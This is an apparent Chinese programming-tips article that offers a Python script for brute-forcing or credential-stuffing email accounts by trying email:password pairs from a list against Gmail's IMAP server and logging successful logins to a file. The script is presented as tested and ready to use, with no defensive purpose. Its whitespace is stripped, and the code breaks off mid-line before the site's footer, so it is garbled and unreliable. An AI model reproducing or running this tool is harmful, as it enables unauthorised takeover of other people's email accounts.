Python实现在线暴力破解邮箱账号密码功能示例【测试可用】
本文实例讲述了Python实现在线暴力破解邮箱账号密码功能。分享给大家供大家参考,具体如下:
dic字典格式如下(mail.txt):
username@gmail.com:password username@gmail.com:password username@gmail.com:password
以此类推,切记保存成utf-8编码格式。
放置在当前脚本目录,也可自己定义修改。
支持sslhttps/imap协议。
#version3.4.0 #coding='UTF-8' #time='2014-09-16' import_dummy_thread importimaplib importthreading #globalvariant GLOBAL_STRING_GMAIL_ACCOUNT_PWD_ARRAY=[] GLOBAL_STRING_GMAIL_ACCOUNT_PWD_ARRAY_NUM=0 GLOBAL_STRING_GMAIL_IMAP4_SERVER='imap.gmail.com' GLOBAL_INT_GMAIL_IMAP4_SERVER_PORT=143 GLOBAL_INT_GMAIL_IMAP4_SSL_PORT=993 GLOBAL_WORKING_THREAD_MUTEX_LOCK=_dummy_thread.allocate_lock() GLOBAL_ARRAY_BUFFER_MAX_LINES=1000 GMAIL_BYTES_READED_TOTAL_SIZE=0 GLOBAL_GMAIL_CURRENT_POSITION_TOTAL_LINES=0 GLOBAL_READ_FINISH_STATUS_SUCCESS=False #defineglobalfunction defWrite_Save_Success_Gmail_Jobs(indexSuccess): Success_File=open('success.txt','a') Success_File.write(GLOBAL_STRING_GMAIL_ACCOUNT_PWD_ARRAY[indexSuccess]) Success_File.close() defWrite_Save_Fail_Gmail_Jobs(indexFail): Fail_File=open('fail.txt','a') Fail_File.write(GLOBAL_STRING_GMAIL_ACCOUNT_PWD_ARRAY[indexFail]) Fail_File.close() #defineglobalfunction defGet_Parser_Account_Pwd(Index): strAccountPwd=GLOBAL_STRING_GMAIL_ACCOUNT_PWD_ARRAY[Index] strUserName,strPassWord=strAccountPwd.split(':',1) returnstrUserName,strPassWord #defineglobalfunction defVeritifying_Gmail_Imap_Account_Pwd(IndexGmail): globalGLOBAL_WORKING_THREAD_MUTEX_LOCK globalGLOBAL_GMAIL_CURRENT_POSITION_TOTAL_LINES if((IndexGmail>=0)and(IndexGmail更多关于Python相关内容可查看本站专题:《PythonSocket编程技巧总结》、《Python数据结构与算法教程》、《Python函数使用技巧总结》、《Python字符串操作技巧汇总》、《Python入门与进阶经典教程》及《Python文件与目录操作技巧汇总》
希望本文所述对大家Python程序设计有所帮助。